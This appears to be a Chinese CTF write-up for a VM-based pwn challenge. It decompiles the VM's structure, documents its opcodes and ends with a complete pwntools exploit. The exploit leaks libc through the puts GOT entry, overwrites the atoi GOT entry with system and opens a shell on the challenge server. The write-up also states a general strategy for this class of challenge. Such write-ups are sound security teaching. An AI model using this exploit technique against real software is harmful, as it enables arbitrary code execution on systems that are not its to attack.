粤湾银行 (vm2)


结构分析

ptr指针的结构

_DWORD *sub_8049570()
{
  _DWORD *v0; // eax
  _DWORD *v1; // ST1C_4

  v0 = malloc(0x2Cu);
  v1 = v0;
  *v0 = 0;
  v0[1] = 0;
  v0[2] = 0;
  v0[3] = 0;
  v0[4] = 0;
  v0[5] = 0;
  v0[9] = 0;
  v0[10] = calloc(4u, 0x40u); //0x100
  v1[6] = v1[10] + 0xFC;//stack_index初始化为v10末尾,是一个指针
  v1[7] = v1[10] + 252;
  v1[8] = 0;
  return v1;
}

定义结构体,从run的第一个操作码的识别可以看出来栈地址,猜测寄存器

初步的结构体

指令分析

查看第一段代码

 while ( 1 )
      {
        v1 = *(_BYTE *)ptr->bufer_ptr & 0xF0;
        if ( v1 != 0x70 )
          break;
        if ( *(_BYTE *)ptr->bufer_ptr & 0xF )   // 0x73  push 先减后放
        {
          if ( (*(_BYTE *)ptr->bufer_ptr & 0xF) != 3 )// 0xff-->opcode  3
            exit(-1);
          ptr->stack_index -= 4;
          *(_DWORD *)ptr->stack_index = *(_DWORD *)(ptr->bufer_ptr + 1);// buffer[1]  (第二个字节)
          ptr->bufer_ptr += 5;                  // 五个字节一个指令
        }

可以看出来第一个字节为操作码,字节2为第第一个操作数。指令长度为5,但是接下来的else改变了这个假设

       else                                    // 0x70
        {
          ptr->esp_addr -= 4;
          *(_DWORD *)ptr->esp_addr = *(&ptr->reg_0 + *(unsigned __int8 *)buffer_i_addr((int)ptr, 1u));// 作为ptr的索引buffer[1]    ptr[buffer[1]](ptr为4字节数组)
          ptr->bufer_ptr = (instruction *)((char *)ptr->bufer_ptr + 2);
        }

这次的指令长度为2,是变长指令 实现了从第二个操作数读数据,作为ptr的索引,放到栈上。

分析几条之后得到最终的结构体

ptr结构

指令需要分析关键指令

指令整理


//寄存器数学运算
0x63     reg_op1*=op2(四字节) mul reg_op1 imm
0x43     reg_op1+=op2(四字节)    add reg_op1  imm     //可以给寄存器赋值(read)


//输入到寄存器
0x03        reg_op1=(四字节)op2       load reg_op1 imm    //很合适的read到寄存器
0x010   get_reg3      load reg3  键盘

//输出到显示器
0x0110     put_reg3        put reg3[0]  输出到显示器


//寄存器操作
0x01     reg_op1=*(四字节)reg_op2+op3        load reg_op1 *(dword)(reg_op2+op3)   把栈内的数据放到寄存器   //栈到寄存器
0x02    *(四字节)(reg_op1+op2)=reg_op3   save  *(dword)(reg_op1+op2) reg_op3     //寄存器到栈(其他位置到栈,需要在寄存器里面有值)
0x70  *(esp-4)=reg_op1 指令长度为2   push reg_op1        push reg_op1        //寄存器到栈顶
0x73    *(esp-4)=op1(四字节)    push  imm(dword)      指令长度5  //没有地址的检查把


//寄存器之间复制
0x00  reg_op1=reg_op2    mov reg_op1 reg_op2 //寄存器复制

exp

#coding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "x86_32"
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)

debug = 1
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0x121c)")
    #/lib/i386-linux-gnu/libc.so.6
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('47.111.104.169', 57404)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

def debug_1(addr,PIE=False):
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str)
    else:
        for i in addr:
            text_base=0
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str)

def new(content):
    p.sendlineafter(">>> ","1")
    p.send(content)
def play():
    p.sendlineafter(">>> ", "2")
def del1():
    p.sendlineafter(">>> ", "3")

#0x03        reg_op1=(四字节)op2       load reg_op1 imm    //很合适的read到寄存器
def read_reg(op1,op2):
    payload="\x03"+chr(op1)+p32(op2)
    return payload

#0x00  reg_op1=reg_op2    mov reg_op1 reg_op2 //寄存器复制
def move_reg(op1,op2):
    payload="\x00"+chr(op1)+chr(op2)
    return payload

#0x70  *(esp-4)=reg_op1 指令长度为2   push reg_op1        push reg_op1        //寄存器到栈顶
def Push_reg(op1):
    payload="\x70"+chr(op1)
    return payload
#0x73    *(esp-4)=op1(四字节)    push  imm(dword)      指令长度5  //没有地址的检查
def Push_imm(op1):
    payload="\x73"+p32(op1)
    return payload

def puts_reg3():
    return "\x10\x01"

def restart():
    return "\xb0"


#获取got表项   #leak_libc
payload=read_reg(3,elf.got["puts"])+puts_reg3()+read_reg(3,elf.got["puts"]+1)+puts_reg3()+read_reg(3,elf.got["puts"]+2)+puts_reg3()+read_reg(3,elf.got["puts"]+3)+puts_reg3()+restart()+"\n"
new(payload)
# debug_1([0x08048A55,0x8048AC0])
play()
info=p.recv(4).ljust(4,"\x00")
libc.address=u32(info)-libc.symbols["puts"]
print(hex(libc.address))


# del1()
# 获取劫持atoi函数got表
print("elf.got_free::::",hex(elf.got["free"]))
payload=read_reg(6,elf.got["atoi"]+4)#reg6=free_got
payload+=read_reg(7,elf.got["atoi"]+4)#reg7=free_got
payload+=Push_imm(libc.symbols["system"])
payload+=restart()+"\n"
new(payload)

# debug_1([0x08049039])
play()

p.sendlineafter(">>> ", "/bin/sh\x00")


p.interactive()

经验

这种东西是一个具体值表示ptr的某一位的值的某一位的值。
第二行是ptr的某一位的值+3*(1)(这个值是个指针,1是因为char占一个字节)

 ptr->bufer_ptr->field_3
 (char *)ptr->bufer_ptr + 3

结构体元素命名规则,是指针后面加addr或ptr

get_opi_addr(ptr, 1u)
ptr->buffer_ptr

关注点

  • 是指针还是实际的数,在命名上要有体现
  • 取的数据是一个字节还是四个字节
*(&ptr->reg_0 + *v20) *= *(_DWORD *)(ptr->buffer_ptr + 2);

*(&ptr->reg_0 + v19) *= *(&ptr->reg_0 + *(unsigned __int8 *)get_opi_addr(ptr, 2u));

关注指令

必须用到

  • 读入寄存器指令 用来设置寄存器

获取libc

  • 如果程序能进行两次或两次以上输入可以输出到显示器 或者从一个地址加载数据到寄存器 指针读
  • 寄存器复制指令 用来得到libc地址

劫持执行流

  • 寄存器写到栈或内存 修改栈或内存基地址后用来实现任意地址写

评论
 上一篇
PVP GAME  粤湾证券 PVP GAME 粤湾证券
关键函数_QWORD *__fastcall sub_F7D(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, unsigned __int64
2020-11-18
下一篇 
vmpwn学习-2019CISCN-pwn-virtual vmpwn学习-2019CISCN-pwn-virtual
vmpwn解释器认识虚拟机定义的时候会定义一个全局变量的枚举类型,里面存放指令 题目分析总体结构__int64 __fastcall main(__int64 a1, char **a2, char **a3) { char *exec
2020-11-11
  目录